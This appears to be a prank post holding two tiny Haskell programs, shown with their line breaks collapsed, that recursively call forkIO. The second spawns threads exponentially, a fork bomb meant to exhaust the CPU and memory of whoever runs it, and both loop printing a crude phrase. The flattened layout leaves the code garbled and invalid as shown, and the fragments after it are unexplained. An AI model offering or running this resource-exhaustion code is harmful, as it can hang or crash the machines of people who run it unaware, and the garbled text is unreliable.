module Main whereimport Control.Concurrent (forkIO)main :: IO ()main = do forkIO haxmyanus mainhaxmyanus :: IO ()haxmyanus = do putStrLn "HAX MY ANUS" haxmyanus
haxmyanus NLI
module Main whereimport Control.Concurrent (forkIO)main :: IO ()main = do putStrLn "HAX MY ANUS" forkIO main main
-threaded